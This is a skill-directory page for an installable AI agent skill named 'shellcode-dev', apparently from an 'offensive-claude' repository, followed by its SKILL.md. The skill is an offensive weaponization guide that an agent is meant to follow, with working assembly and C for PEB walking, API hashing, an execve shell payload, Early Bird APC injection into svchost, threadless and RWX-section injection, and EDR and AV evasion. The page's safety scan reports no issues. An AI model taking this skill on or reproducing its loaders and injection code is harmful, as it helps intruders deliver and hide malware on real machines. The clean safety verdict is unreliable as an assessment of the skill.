SkillAgentSearch skills...

shellcode-dev

Use when writing position-independent shellcode or a loader — PEB walking, API hashing, null-byte avoidance, encoders, loaders, PE-to-shellcode conversion, cross-platform shellcode

Install / Use

npx skills add hypnguyen1209/offensive-claude --skill shellcode-dev

Installs into whichever agent you are using.

About this skill
📄

SKILL.md

Installable skill definition

Quality Score

91/100

Category

Security

Supported Platforms

Universal

Our assessment of shellcode-dev

shellcode-dev scores 91/100 on our quality scale, 472nd of 1,096 Security skills we index (top 44%).

Its SKILL.md is 18 KB long, well organised into 47 sections with 21 code examples: a thorough specification that gives an agent plenty to work with.

It has 377 GitHub stars, a meaningful sign that others use it.

Substance
30/30
Structure
20/20
Description
15/15
Adoption
11/20
Freshness
15/15

Maintenance, license and trust

  • The repository was last updated 14 days ago, so shellcode-dev is actively maintained.
  • It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
  • Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.

Safety scan

No issues found

Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands.

Automated pattern scan on 2026-10-05. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.

shellcode-dev compared with similar skills

All 4 of these similar skills score higher than shellcode-dev; compare them before choosing.

SkillScoreStarsUpdatedFormat
shellcode-dev (this skill)by hypnguyen12099137714d agoSKILL.md
Agent-Reachby Panniantong10090.8k19d agoCLAUDE.md
headroomby headroomlabs-ai10074.4ktodayCLAUDE.md
Scraplingby D4Vinci10085.7ktodayMCP Server
crawl4aiby unclecode10084.8k9d agoMCP Server

Frequently asked questions

How do I install shellcode-dev?
Run npx skills add hypnguyen1209/offensive-claude --skill shellcode-dev. The install tabs above show the steps for each supported agent.
Which AI agents does shellcode-dev work with?
It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
Is shellcode-dev safe to use?
Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
Is shellcode-dev still maintained?
The repository was last updated 14 days ago, so shellcode-dev is actively maintained.

name: shellcode-dev description: Use when writing position-independent shellcode or a loader — PEB walking, API hashing, null-byte avoidance, encoders, loaders, PE-to-shellcode conversion, cross-platform shellcode metadata: type: offensive phase: exploitation tools: keystone, nasm, msfvenom, donut, srdi, pwntools kill_chain: phase: [weaponize] step: [2] attck_tactics: [TA0042] depends_on: [exploit-development, coding-mastery] feeds_into: [edr-evasion, initial-access] inputs: [target_architecture, payload_constraints] outputs: [shellcode, loader, injector]

Shellcode Development

When to Activate

  • Writing custom x86/x64 shellcode
  • Implementing position-independent code (PIC)
  • Building shellcode loaders for implant delivery
  • Evading AV/EDR static detection
  • Converting PE files to shellcode
  • Cross-platform shellcode development

Execution Pattern (Allocate-Write-Execute)

Avoid direct PAGE_EXECUTE_READWRITE — prefer two-step:

// 1. Allocate with RW
char *dest = VirtualAlloc(NULL, size, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
// 2. Write shellcode
memcpy(dest, shellcode, size);
// 3. Switch to RX (no write permission)
VirtualProtect(dest, size, PAGE_EXECUTE_READ, &old);
// 4. Execute
((void(*)())dest)();

Position-Independent Code (PIC)

| Method | Platform | Notes | |--------|----------|-------| | Call/Pop | Windows | Push next addr, pop into register | | FPU state (fstenv) | Windows | Saves instruction pointer | | SEH | Windows | Exception handler stores EIP | | RIP-relative | x64 | lea rax, [rip+offset] | | GOT | Linux | Global Offset Table | | VDSO | Linux | Kernel-provided shared object |

Windows API Resolution (PEB Walk)

; x64 PEB walk to find kernel32.dll base
find_kernel32:
    xor rcx, rcx
    mov rax, gs:[rcx + 0x60]       ; RAX = PEB
    mov rax, [rax + 0x18]          ; RAX = PEB->Ldr
    mov rsi, [rax + 0x20]          ; RSI = InMemoryOrderModuleList
    lodsq                           ; skip first entry (exe)
    xchg rax, rsi
    lodsq                           ; skip ntdll
    mov rbx, [rax + 0x20]          ; RBX = kernel32 base address

Export Address Table (EAT) Parsing

; Parse EAT to find GetProcAddress
    mov ebx, [rbx + 0x3C]          ; PE signature offset
    add rbx, r8                     ; PE header
    mov edx, [rbx + 0x88]          ; Export Directory RVA
    add rdx, r8                     ; Export Directory VA
    mov r10d, [rdx + 0x14]         ; NumberOfFunctions
    mov r11d, [rdx + 0x20]         ; AddressOfNames RVA
    add r11, r8                     ; AddressOfNames VA
    ; Loop through names, compare hash/string

API Hashing (ROR13)

# Generate hash for API name
def ror13_hash(name):
    hash_val = 0
    for c in name:
        hash_val = ((hash_val >> 13) | (hash_val << 19)) & 0xFFFFFFFF
        hash_val = (hash_val + ord(c)) & 0xFFFFFFFF
    return hash_val

# Common hashes:
# GetProcAddress: 0x7c0dfcaa
# LoadLibraryA:   0xec0e4e8e
# VirtualAlloc:   0x91afca54
# CreateProcessA: 0x863fcc79

Null-Byte Avoidance

| Problem | Solution | |---------|----------| | mov rax, 0 | xor rax, rax | | mov eax, 0x00000001 | xor eax, eax; inc eax | | String with null terminator | Push string in reverse, use stack pointer | | add rsp, 0x200 | sub rsp, 0xfffffffffffffdf8 (two's complement) | | Zero in immediate | Use sub from known value, or XOR encoding |

Shellcode Loaders

Loader Responsibilities

  1. Environment verification / keying (sandbox detection)
  2. Shellcode decryption (XOR, RC4, AES)
  3. Safe memory allocation and injection
  4. Execution transfer

Recommended Languages

  • Zig: Small binary, no runtime, good for loaders
  • Rust: Memory-safe, no runtime overhead
  • Nim: Compiles to C, small binaries
  • Go: Cross-platform but watch for runtime signatures

Allocation Strategies

// Two-step allocation (avoid RWX)
LPVOID mem = VirtualAlloc(NULL, size, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
memcpy(mem, shellcode, size);
VirtualProtect(mem, size, PAGE_EXECUTE_READ, &old);

// Alternative: Section mapping
HANDLE hSection;
NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &maxSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
NtMapViewOfSection(hSection, GetCurrentProcess(), &localView, 0, 0, NULL, &viewSize, ViewUnmap, 0, PAGE_READWRITE);
// Write shellcode to localView
NtMapViewOfSection(hSection, GetCurrentProcess(), &execView, 0, 0, NULL, &viewSize, ViewUnmap, 0, PAGE_EXECUTE_READ);
// Execute from execView

Evasion Tips for Write Phase

  • Prepend shellcode with dummy NOPs/garbage opcodes
  • Split into chunks, write in randomized order
  • Add random delays between writes
  • Use NtWriteVirtualMemory instead of memcpy for remote injection

Execution Methods

| Technique | Detection Risk | Notes | |-----------|---------------|-------| | CreateRemoteThread | HIGH | Heavily monitored by all EDRs | | NtQueueApcThreadEx | MEDIUM | APC injection, less monitored | | NtSetContextThread | MEDIUM | Hijack suspended thread context | | Callback functions | LOW | VirtualAlloc + EnumWindows callback | | Fiber execution | LOW | ConvertThreadToFiber + CreateFiber | | ThreadlessInject | VERY LOW | Overwrite rarely-called export | | Trampoline (DripLoader) | LOW | JMP to shellcode from ntdll function |

PE-to-Shellcode Conversion

| Tool | Purpose | |------|---------| | Donut | EXE/DLL/VBS/JS → position-independent shellcode | | sRDI | DLL → reflective shellcode | | Pe2shc | PE → shellcode with custom loader | | Amber | Reflective PE packer with evasion |

Shellcode Storage & Hiding

| Location | Risk | Notes | |----------|------|-------| | Hardcoded in .text | Medium | Requires recompile | | PE Resources (RCDATA) | High | Most scanned by AV | | Certificate Table | Low | Keeps PE signature intact | | Extra PE section | Medium | Use second-to-last section | | Internet-hosted | Variable | Downloaded at runtime | | Registry values | Medium | Stored as binary data | | Alternate Data Streams | Low | NTFS-specific, less scanned |

Certificate Table Technique (Recommended)

  • Pad Certificate Table with shellcode bytes
  • Update PE headers to reflect new size
  • Main executable signature remains valid
  • Only the loader DLL signature breaks
  • Protection: compress (LZMA) + encrypt (AES/RC4/XOR32) before storing

DripLoader Pattern

1. Reserve 64KB chunks with NO_ACCESS
2. Allocate 4KB RW chunks within that pool
3. Write shellcode in chunks in randomized order
4. Re-protect to RX
5. Overwrite prologue of ntdll!RtlpWow64CtxFromAmd64 with JMP trampoline
6. All calls via direct syscalls (NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx)

Cross-Platform Considerations

Windows on ARM64 (WoA)

  • Syscalls use SVC 0 with ARM64 syscall table
  • Pointer Authentication (PAC) signs LR — avoid stack pivots or re-sign with PACIASP
  • Different register conventions (x0-x7 for args, x8 for syscall number)

Linux x64

; execve("/bin/sh", NULL, NULL)
xor rsi, rsi
mul rsi                 ; rax=0, rdx=0
push rsi
mov rdi, 0x68732f2f6e69622f  ; /bin//sh
push rdi
push rsp
pop rdi                 ; rdi = pointer to "/bin//sh"
mov al, 59             ; syscall number for execve
syscall

macOS (Apple Silicon)

  • Syscall numbers offset by 0x2000000 (e.g., execve = 0x200003B)
  • Code signing enforcement — unsigned code won't execute without entitlements
  • Hardened runtime prevents most injection techniques

Windows 11 24H2 Notes

  • AMSI heap scanning active: allocate PAGE_NOACCESS → decrypt in place → PAGE_EXECUTE_READ
  • Smart App Control blocks unsigned outbound connections
  • Enhanced stack tracing checks full call chain

Advanced: Modern Injection Techniques

Early Bird APC Injection

// Inject before process initialization — APC runs before entry point
// Avoids EDR hooks that are set up during DLL loading

STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcessA("C:\\Windows\\System32\\svchost.exe", NULL, NULL, NULL, FALSE,
    CREATE_SUSPENDED, NULL, NULL, &si, &pi);

// Allocate and write shellcode
LPVOID base = VirtualAllocEx(pi.hProcess, NULL, scSize, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(pi.hProcess, base, shellcode, scSize, NULL);
VirtualProtectEx(pi.hProcess, base, scSize, PAGE_EXECUTE_READ, &old);

// Queue APC to main thread — executes before entry point
QueueUserAPC((PAPCFUNC)base, pi.hThread, 0);
ResumeThread(pi.hThread);

Threadless Injection (Hook-Based)

// No new thread created — hijack existing thread's execution flow
// Patch a function pointer or callback in target process

// 1. Find a function in target that will be called (e.g., sleep callback, timer)
// 2. Allocate shellcode in target process
// 3. Overwrite function pointer to point to shellcode
// 4. Shellcode executes when target naturally calls the function
// 5. Shellcode restores original pointer after execution

// Example: Hook NtWaitForSingleObject return in target's thread
PVOID hookAddr = GetRemoteProcAddress(hProcess, "ntdll.dll", "NtWaitForSingleObject");
// Write trampoline: execute shellcode → jmp back to original
BYTE trampoline[] = {
    0x50,                           // push rax (save)
    0x48, 0xB8, 0,0,0,0,0,0,0,0,  // mov rax, shellcode_addr
    0xFF, 0xD0,                     // call rax
    0x58,                           // pop rax (restore)
    0xE9, 0,0,0,0                  // jmp original_bytes
};

Pool Party (Thread Pool Injection)

// Abuse Windows Thread Pool internals for injection
// 5 variants targeting different TP structures

// Variant 1: Worker Factory (TP_WORK)
// Insert malicious TP_WORK item into target's thread pool queue
// When thread pool processes work items, shellcode executes

// Variant 2: Timer Queue
// Create timer in target process's timer queue
// Timer callback = shellcode address

// Variant 3: I/O Completion Port
// Queue completion packet to target's IOCP
// Completion callback = shellcode

// Variant 4: Wait Callback
// Register wait on an object in target process
// Signal the object → wait callback (shellcode) fires

// Variant 5: TP_ALPC
// Inject ALPC message that triggers callback in target's thread pool

// Key advantage: No CreateRemoteThread, no APC — uses existing thread pool threads
// EDR sees: legitimate thread pool activity

Mockingjay (RWX Section Abuse)

// Find DLLs with existing RWX sections — no VirtualAlloc/VirtualProtect needed
// msys-2.0.dll has a large RWX section by default

// 1. Find DLL with RWX section
// 2. Load it into target process (or find already loaded)
// 3. Write shellcode directly into RWX section
// 4. Execute — no memory permission changes to trigger ETW TI

// Self-injection variant:
HMODULE hMod = LoadLibraryA("msys-2.0.dll");
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)hMod + ((PIMAGE_DOS_HEADER)hMod)->e_lfanew);
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
for (int i = 0; i < nt->FileHeader.NumberOfSections; i++) {
    if ((sec[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) &&
        (sec[i].Characteristics & IMAGE_SCN_MEM_WRITE)) {
        PVOID rwx = (BYTE*)hMod + sec[i].VirtualAddress;
        memcpy(rwx, shellcode, scSize);
        ((void(*)())rwx)();
    }
}

Dirty Vanity (Process Forking)

// Use NtCreateProcessEx to fork current process
// Forked process inherits all memory including shellcode
// No WriteProcessMemory or VirtualAllocEx in target

// 1. Allocate and prepare shellcode in current process
// 2. Fork using NtCreateProcessEx (creates copy of address space)
// 3. Create thread in forked process at shellcode address
// Fork inherits memory layout — shellcode already present

HANDLE hFork;
NtCreateProcessEx(&hFork, PROCESS_ALL_ACCESS

Truncated for display — read the full file on GitHub.

Related Skills

View on GitHub
GitHub Stars377
CategorySecurity
Updated14d ago
Forks65

Languages

Python

Trust signals

100/100

From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.

No cautions
shellcode-dev — Universal Skill: Install & Safety Check | SkillAgent